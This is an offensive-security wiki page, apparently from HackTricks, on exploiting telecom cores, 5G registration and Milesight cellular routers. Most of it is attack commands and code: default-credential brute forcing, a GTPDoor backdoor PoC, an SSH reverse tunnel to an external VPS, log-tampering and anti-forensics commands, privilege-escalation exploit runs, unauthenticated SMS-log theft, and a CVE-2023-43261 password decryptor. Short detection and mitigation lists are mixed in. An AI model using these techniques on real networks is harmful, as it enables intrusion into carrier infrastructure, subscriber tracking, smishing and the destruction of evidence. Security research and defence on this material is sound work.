15 KiB
Telecom Network Exploitation (GTP / Roaming Environments)
{{#include ../../banners/hacktricks-training.md}}
Note
Mobile-core protocols (GPRS Tunnelling Protocol – GTP) often traverse semi-trusted GRX/IPX roaming backbones. Because they ride on plain UDP with almost no authentication, any foothold inside a telecom perimeter can usually reach core signalling planes directly. The following notes collect offensive tricks observed in the wild against SGSN/GGSN, PGW/SGW and other EPC nodes.
1. Recon & Initial Access
1.1 Default OSS / NE Accounts
A surprisingly large set of vendor network elements ship with hard-coded SSH/Telnet users such as root:admin
, dbadmin:dbadmin
, cacti:cacti
, ftpuser:ftpuser
, … A dedicated wordlist dramatically increases brute-force success:
hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt
If the device exposes only a management VRF, pivot through a jump host first (see section «SGSN Emu Tunnel» below).
1.2 Host Discovery inside GRX/IPX
Most GRX operators still allow ICMP echo across the backbone. Combine masscan
with the built-in gtpv1
UDP probes to quickly map GTP-C listeners:
masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55
2. Enumerating Subscribers – cordscan
The following Go tool crafts GTP-C Create PDP Context Request packets and logs the responses. Each reply reveals the current SGSN / MME serving the queried IMSI and, sometimes, the subscriber’s visited PLMN.
# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan
# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap
Key flags:
--imsi
Target subscriber IMSI--oper
Home / HNI (MCC+MNC)-w
Write raw packets to pcap
Important constants inside the binary can be patched to widen scans:
pingtimeout = 3 // seconds before giving up
pco = 0x218080
common_tcp_ports = "22,23,80,443,8080"
3. Code Execution over GTP – GTPDoor
GTPDoor
is a tiny ELF service that binds UDP 2123 and parses every incoming GTP-C packet. When the payload starts with a pre-shared tag, the remainder is decrypted (AES-128-CBC) and executed via /bin/sh -c
. The stdout/stderr are exfiltrated inside Echo Response messages so that no outward session is ever created.
Minimal PoC packet (Python):
import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))
Detection:
- any host sending unbalanced Echo Requests to SGSN IPs
- GTP version flag set to 1 while message type = 1 (Echo) – deviation from spec
4. Pivoting Through the Core
4.1 sgsnemu
+ SOCKS5
OsmoGGSN
ships an SGSN emulator able to establish a PDP context towards a real GGSN/PGW. Once negotiated, Linux receives a new tun0
interface reachable from the roaming peer.
sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 & # internal SOCKS proxy
With proper firewall hair-pinning, this tunnel bypasses signalling-only VLANs and lands you directly in the data plane.
4.2 SSH Reverse Tunnel over Port 53
DNS is almost always open in roaming infrastructures. Expose an internal SSH service to your VPS listening on :53 and return later from home:
ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com
Check that GatewayPorts yes
is enabled on the VPS.
5. Covert Channels
Channel | Transport | Decoding | Notes |
---|---|---|---|
ICMP – EchoBackdoor |
ICMP Echo Req/Rep | 4-byte key + 14-byte chunks (XOR) | pure passive listener, no outbound traffic |
DNS – NoDepDNS |
UDP 53 | XOR (key = funnyAndHappy ) encoded in A-record octets |
watches for *.nodep sub-domain |
GTP – GTPDoor |
UDP 2123 | AES-128-CBC blob in private IE | blends with legitimate GTP-C chatter |
All implants implement watchdogs that timestomp their binaries and re-spawn if crashed.
6. Defense Evasion Cheatsheet
# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp
# Disable bash history
export HISTFILE=/dev/null
# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup # hide from top/htop
printf '\0' > /proc/$$/comm # appears as [kworker/1]
touch -r /usr/bin/time /usr/bin/chargen # timestomp
setenforce 0 # disable SELinux
7. Privilege Escalation on Legacy NE
# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd
# PwnKit – CVE-2021-4034
python3 PwnKit.py
# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py
Clean-up tip:
userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c
8. Tool Box
cordscan
,GTPDoor
,EchoBackdoor
,NoDepDNS
– custom tooling described in previous sections.FScan
: intranet TCP sweeps (fscan -p 22,80,443 10.0.0.0/24
)Responder
: LLMNR/NBT-NS rogue WPADMicrosocks
+ProxyChains
: lightweight SOCKS5 pivotingFRP
(≥0.37) : NAT traversal / asset bridging
9. 5G NAS Registration Attacks: SUCI leaks, downgrade to EEA0/EIA0, and NAS replay
The 5G registration procedure runs over NAS (Non-Access Stratum) on top of NGAP. Until NAS security is activated by Security Mode Command/Complete, initial messages are unauthenticated and unencrypted. This pre-security window enables multiple attack paths when you can observe or tamper with N2 traffic (e.g., on-path inside the core, rogue gNB, or testbed).
Registration flow (simplified):
- Registration Request: UE sends SUCI (encrypted SUPI) and capabilities.
- Authentication: AMF/AUSF send RAND/AUTN; UE returns RES*.
- Security Mode Command/Complete: NAS integrity and ciphering are negotiated and activated.
- PDU Session Establishment: IP/QoS setup.
Lab setup tips (non-RF):
- Core: Open5GS default deployment is sufficient to reproduce flows.
- UE: simulator or test UE; decode using Wireshark.
- Active tooling: 5GReplay (capture/modify/replay NAS within NGAP), Sni5Gect (sniff/patch/inject NAS on the fly without bringing up a full rogue gNB).
- Useful display filters in Wireshark:
- ngap.procedure_code == 15 (InitialUEMessage)
- nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)
9.1 Identifier privacy: SUCI failures exposing SUPI/IMSI
Expected: UE/USIM must transmit SUCI (SUPI encrypted with the home-network public key). Finding a plaintext SUPI/IMSI in the Registration Request indicates a privacy defect enabling persistent subscriber tracking.
How to test:
- Capture the first NAS message in InitialUEMessage and inspect the Mobile Identity IE.
- Wireshark quick checks:
- It should decode as SUCI, not IMSI.
- Filter examples:
nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci
should exist; absence plus presence ofimsi
indicates leakage.
What to collect:
- MCC/MNC/MSIN if exposed; log per-UE and track across time/locations.
Mitigation:
- Enforce SUCI-only UEs/USIMs; alert on any IMSI/SUPI in initial NAS.
9.2 Capability bidding-down to null algorithms (EEA0/EIA0)
Background:
- UE advertises supported EEA (encryption) and EIA (integrity) in the UE Security Capability IE of the Registration Request.
- Common mappings: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 are null algorithms.
Issue:
- Because the Registration Request is not integrity protected, an on-path attacker can clear capability bits to coerce selection of EEA0/EIA0 later during Security Mode Command. Some stacks wrongly allow null algorithms outside emergency services.
Offensive steps:
- Intercept InitialUEMessage and modify the NAS UE Security Capability to advertise only EEA0/EIA0.
- With Sni5Gect, hook the NAS message and patch the capability bits before forwarding.
- Observe whether AMF accepts null ciphers/integrity and completes Security Mode with EEA0/EIA0.
Verification/visibility:
- In Wireshark, confirm selected algorithms after Security Mode Command/Complete.
- Example passive sniffer output:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001
Mitigations (must):
- Configure AMF/policy to reject EEA0/EIA0 except where strictly mandated (e.g., emergency calls).
- Prefer enforcing EEA2/EIA2 at minimum; log and alarm on any NAS security context that negotiates null algorithms.
9.3 Replay of initial Registration Request (pre-security NAS)
Because initial NAS lacks integrity and freshness, captured InitialUEMessage+Registration Request can be replayed to AMF.
PoC rule for 5GReplay to forward matching replays:
<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">
<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>
<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>
</property>
</beginning>
What to observe:
- Whether AMF accepts the replay and proceeds to Authentication; lack of freshness/context validation indicates exposure.
Mitigations:
- Enforce replay protection/context binding at AMF; rate-limit and correlate per-GNB/UE.
9.4 Tooling pointers (reproducible)
- Open5GS: spin up an AMF/SMF/UPF to emulate core; observe N2 (NGAP) and NAS.
- Wireshark: verify decodes of NGAP/NAS; apply the filters above to isolate Registration.
- 5GReplay: capture a registration, then replay specific NGAP + NAS messages as per the rule.
- Sni5Gect: live sniff/modify/inject NAS control-plane to coerce null algorithms or perturb authentication sequences.
9.5 Defensive checklist
- Continuously inspect Registration Request for plaintext SUPI/IMSI; block offending devices/USIMs.
- Reject EEA0/EIA0 except for narrowly defined emergency procedures; require at least EEA2/EIA2.
- Detect rogue or misconfigured infrastructure: unauthorized gNB/AMF, unexpected N2 peers.
- Alert on NAS security modes that result in null algorithms or frequent replays of InitialUEMessage.
10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)
Abusing exposed web APIs of industrial cellular routers enables stealthy, carrier-origin smishing at scale. Milesight UR-series routers expose a JSON-RPC–style endpoint at /cgi
. When misconfigured, the API can be queried without authentication to list SMS inbox/outbox and, in some deployments, to send SMS.
Typical unauthenticated requests (same structure for inbox/outbox):
POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json
{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }
Responses include fields such as timestamp
, content
, phone_number
(E.164), and status
(success
or failed
). Repeated failed
sends to the same number are often attacker “capability checks” to validate that a router/SIM can deliver before blasting.
Example curl to exfiltrate SMS metadata:
curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'
Notes on auth artifacts:
- Some traffic may include an auth cookie, but a large fraction of exposed devices respond without any authentication to
query_inbox
/query_outbox
when the management interface is Internet-facing. - In environments requiring auth, previously-leaked credentials (see below) restore access.
Credential recovery path – CVE-2023-43261:
- Affected families: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
- Issue: web-served logs (e.g.,
httpd.log
) are reachable unauthenticated under/lang/log/
and contain admin login events with the password encrypted using a hardcoded AES key/IV present in client-side JavaScript. - Practical access and decrypt:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}
Minimal Python to decrypt leaked passwords (AES-128-CBC, hardcoded key/IV):
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...' # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())
Hunting and detection ideas (network):
- Alert on unauthenticated
POST /cgi
whose JSON body containsbase
/function
set toquery_inbox
orquery_outbox
. - Track repeated
POST /cgi
bursts followed bystatus":"failed"
entries across many unique numbers from the same source IP (capability testing). - Inventory Internet-exposed Milesight routers; restrict management to VPN; disable SMS features unless required; upgrade to ≥ v35.3.0.7; rotate credentials and review SMS logs for unknown sends.
Shodan/OSINT pivots (examples seen in the wild):
http.html:"rt_title"
matches Milesight router panels.- Google dorking for exposed logs:
"/lang/log/system" ext:log
.
Operational impact: using legitimate carrier SIMs inside routers gives very high SMS deliverability/credibility for phishing, while inbox/outbox exposure leaks sensitive metadata at scale.
Detection Ideas
- Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
- Non-standard ports (53, 80, 443) receiving SSH handshakes from internal IPs.
- Frequent Echo Requests without corresponding Echo Responses – might indicate GTPDoor beacons.
- High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
- 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
- 5G: NAS Security Mode negotiating EEA0/EIA0 outside emergency contexts.
References
- Palo Alto Unit42 – Infiltration of Global Telecom Networks
- 3GPP TS 29.060 – GPRS Tunnelling Protocol (v16.4.0)
- 3GPP TS 29.281 – GTPv2-C (v17.6.0)
- Demystifying 5G Security: Understanding the Registration Protocol
- 3GPP TS 24.501 – Non-Access-Stratum (NAS) protocol for 5GS
- 3GPP TS 33.501 – Security architecture and procedures for 5G System
- Silent Smishing: The Hidden Abuse of Cellular Router APIs (Sekoia.io)
- CVE-2023-43261 – NVD
- CVE-2023-43261 PoC (win3zz)
{{#include ../../banners/hacktricks-training.md}}